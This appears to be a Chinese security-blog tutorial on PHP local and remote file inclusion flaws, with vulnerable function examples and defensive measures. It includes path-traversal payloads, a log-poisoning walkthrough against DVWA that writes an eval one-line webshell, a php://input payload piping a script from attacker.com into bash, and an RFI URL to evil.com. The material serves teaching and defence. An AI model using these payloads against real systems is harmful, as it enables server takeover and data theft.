目录
[文件包含漏洞相关的常见 PHP 函数](#文件包含漏洞相关的常见 PHP 函数)
[1. include() 和 require()](#1. include() 和 require())
[2. include_once() 和 require_once()](#2. include_once() 和 require_once())
[3. fopen() 和 fread()](#3. fopen() 和 fread())
[4. file_get_contents()](#4. file_get_contents())
[5. readfile()](#5. readfile())
[6. highlight_file()](#6. highlight_file())
[7. fpassthru()](#7. fpassthru())
说明
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为
通常分为两种类型:
- 本地文件包含(LFI)
- 远程文件包含(RFI)
本地文件包含
- LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件
攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。
典型的攻击方式1:
-
攻击者通过修改 URL 参数来试图包含本地文件
-
例如:
-
在这个例子中
攻击者试图通过"
../../../../etc/passwd
"来访问服务器上的/etc/passwd
文件(Unix/Linux 系统中的一个存储用户账户信息的文件)。
影响:
- 信息泄露:攻击者能够查看服务器上的敏感文件(如配置文件、日志文件、密码文件等)。
- 路径遍历攻击:攻击者可以通过构造特殊的路径,访问并查看不应公开的文件。
- 恶意文件执行:如果不当配置或存在缺陷,攻击者甚至可以包含可执行文件进行代码执行。
典型的攻击方式2:
- 用户输入控制: 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如:
php
<?php
include($_GET['page']);
?>
这种代码会根据用户传入的page
参数来包含文件。
包含路径解释:
-
绝对路径包含
-
相对路径包含
-
文件穿越漏洞
-
包含一些图片吗进行控制 包含敏感文件读取出来
-
远程文件包包含,另外一个网站 得文件,其它网站得文件包含进来。
-
直接引用别人得网站得图片 前提是看别人开启了相关参数没。
日志包含漏洞:
- 日志包含漏洞是指攻击者通过注入恶意内容到日志文件中,可能会破坏日志文件的完整性,或通过日志文件将恶意代码执行。
- 攻击者可以伪造日志,或在日志中插入恶意的HTTP头、SQL注入等攻击代码,进而进行进一步的攻击。
操作原理
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件.
这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵.
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。
apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中
前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置
其实这种方式就是把木马直接写入到日志文件中.
在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了
蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接
http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\\logs\\access.log 写入后再访问 就可以通过日志进行访问
1浏览器日志 记录可能会编译成url编码
2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。
记录下php得一句话木马程序写法
写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马
<?php file=fopen('jaden.php','w');fputs(file,'<?php @eval($_POST[666]);?>');?>
数据存在于存在与执行得目录中 jaden.php
问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集
包含漏洞读取文件
读取php文件 包含就能读取:
-
采用得是file:///协议
-
读取php文件不想执行
-
Php:/// 读取文件 指定php协议来读取协议
- 通过文件包含漏洞利用
file://
伪协议读取文件是一种常见的攻击手段,特别是当Web应用程序允许通过用户输入指定文件路径时。- 攻击者可以利用这种方式绕过某些安全控制,从而读取本地文件(例如
/etc/passwd
或其他敏感文件),或者执行路径遍历攻击来获取服务器上的敏感信息。- file:///etc/passwd
文件包含漏洞远程代码执行漏洞:
- 文件包含漏洞(File Inclusion Vulnerability)如果结合远程文件包含(Remote File Inclusion, RFI)和不当的配置或攻击者操控的输入
- 可能导致远程代码执行漏洞(Remote Code Execution, RCE)
- 在这种情况下,攻击者不仅能读取文件,还能执行恶意代码,导致严重的安全问题。
-
服务端存在包含漏洞
-
也就是通过include(php://input) 进行执行而不是用文件进行执行
-
执行得命令
-
Php://input 执行过程
<?php system('curl -s http://attacker.com/malicious_script.sh | bash'); ?>
远程文件包含
- RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站
通常情况下,RFI 涉及到文件路径中包含 URL,允许攻击者从外部服务器加载并执行恶意脚本。
典型的攻击方式:
-
攻击者通过修改 URL 中的参数,将远程服务器上的恶意文件包含到服务器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
-
在这个例子中
- 攻击者试图加载并执行远程服务器上的
malicious_script.php
文件- 可能执行恶意操作,比如执行反向 shell、窃取数据、或劫持服务器
- 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。
影响:
- 远程代码执行:攻击者能够远程执行恶意代码,这可能导致服务器完全被控制。
- 网站篡改:攻击者可能通过上传恶意脚本,篡改网站内容或窃取用户信息。
- 数据泄露:攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。
文件包含漏洞的根本原因
- 用户输入未严格验证:文件路径参数或 URL 没有经过充分的验证和过滤,允许攻击者修改路径。
- 不当的文件处理逻辑:代码未对文件包含操作进行适当的权限控制或路径限制,导致攻击者能够访问和执行敏感文件。
- 缺乏安全配置 :服务器未启用适当的配置,例如禁止远程文件包含(RFI),或没有禁用危险函数(如
include
,require
,fopen
等)。
语言包含漏洞
-
包含操作,在大多数Web语言中都会提供的功能
-
但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状
-
很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞.
-
公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件
-
Import-python 也就是代码漏洞
-
针对不同的语言 比如说 go php java python 也就是对应相关的函数
PHP文件包含漏洞函数
- PHP 作为一种常用的 Web 编程语言,具有一些常用的函数,这些函数可以导致文件包含漏洞,尤其在没有进行严格的输入验证时。
文件包含漏洞相关的常见 PHP 函数
1. include()
和 require()
功能:
include()
和require()
用于将文件引入当前 PHP 文件并执行。include()
在文件不可用时会发出警告(warning)- 而
require()
会发出致命错误(fatal error)并停止执行。
安全隐患:
include($_GET['page']);
// 如果未进行过滤,攻击者可以传递恶意的文件路径,如 '../../etc/passwd'
如果传入的文件路径(参数)未经过严格验证,攻击者可能利用路径遍历(
../../
)或者远程文件包含攻击,加载敏感文件或远程恶意文件。
2. include_once()
和 require_once()
功能:
- 与
include()
和require()
相同,但它们确保文件只会被包含一次,避免重复包含文件导致的错误。
安全隐患:
- 如果传入的文件路径不被验证,攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。
3. fopen()
和 fread()
功能:
fopen()
打开文件,fread()
读取文件内容,通常用于读取文本或二进制文件内容。
安全隐患:
$file = fopen($_GET['file'], "r"); // 如果未验证,攻击者可以操控路径读取文件
- 如果文件路径未经过验证,攻击者可以读取服务器上的敏感文件或恶意文件。
4. file_get_contents()
功能:
file_get_contents()
用于读取文件内容并将其作为字符串返回。
安全隐患:
$content = file_get_contents($_GET['file']);
如果参数为用户输入的文件路径或 URL,攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。
5. readfile()
功能:
readfile()
输出文件内容到浏览器,通常用于直接输出文件内容。
安全隐患:
readfile($_GET['file']);
攻击者可以通过路径遍历攻击或包含远程文件,输出敏感文件内容或恶意代码。
6. highlight_file()
功能:
highlight_file()
输出 PHP 源代码并对其进行语法高亮显示。
安全隐患:
highlight_file($_GET['file']);
如果没有限制或验证,攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码,可能泄露敏感信息。
7. fpassthru()
功能:
fpassthru()
函数读取并直接输出文件的内容,通常与 fopen()
配合使用。
安全隐患:
$file = fopen($_GET['file'], "r");
fpassthru($file);
与
fread()
和file_get_contents()
类似,如果文件路径未被验证,攻击者可以利用该函数读取并输出敏感文件内容。
总结
PHP 中的文件包含函数(如 include()
、require()
、fopen()
等)是文件包含漏洞的核心来源,尤其在未严格验证用户输入时,容易导致路径遍历、远程文件包含(RFI)或本地文件包含(LFI)攻击。防御这种漏洞的关键是:
- 严格控制文件路径参数的来源和内容;
- 禁用不必要的功能(如远程文件包含);
- 采用绝对路径、白名单、权限控制等手段限制文件的访问范围。
防御措施
输入验证与过滤:
- 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如
../
)的输入。 - 使用白名单机制,限制只能包含特定目录下的文件。
禁用远程文件包含:
- 在 PHP 中,禁用
allow_url_include
和allow_url_fopen
,防止包含远程文件。 - 设置
open_basedir
,限制 PHP 程序只能访问特定目录下的文件。
使用绝对路径:
- 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。
文件包含路径限制:
- 使用
basename()
或类似的函数确保包含的文件不会遍历目录结构。 - 对于包含的文件,最好限定在特定的目录内,避免通过路径构造访问任意文件。
日志记录与监控:
- 配置 Web 服务器和应用程序进行日志记录,监控异常的文件包含请求。
- 设置警报机制,及时发现潜在的文件包含攻击。
代码审计与渗透测试:
- 定期进行代码审计,检查可能存在文件包含漏洞的地方。
- 使用自动化工具进行渗透测试,模拟文件包含攻击,查找漏洞。
总结
文件包含漏洞是一个相对常见且危险的安全问题,尤其在动态网页系统中,由于代码没有对外部输入进行有效的验证,攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。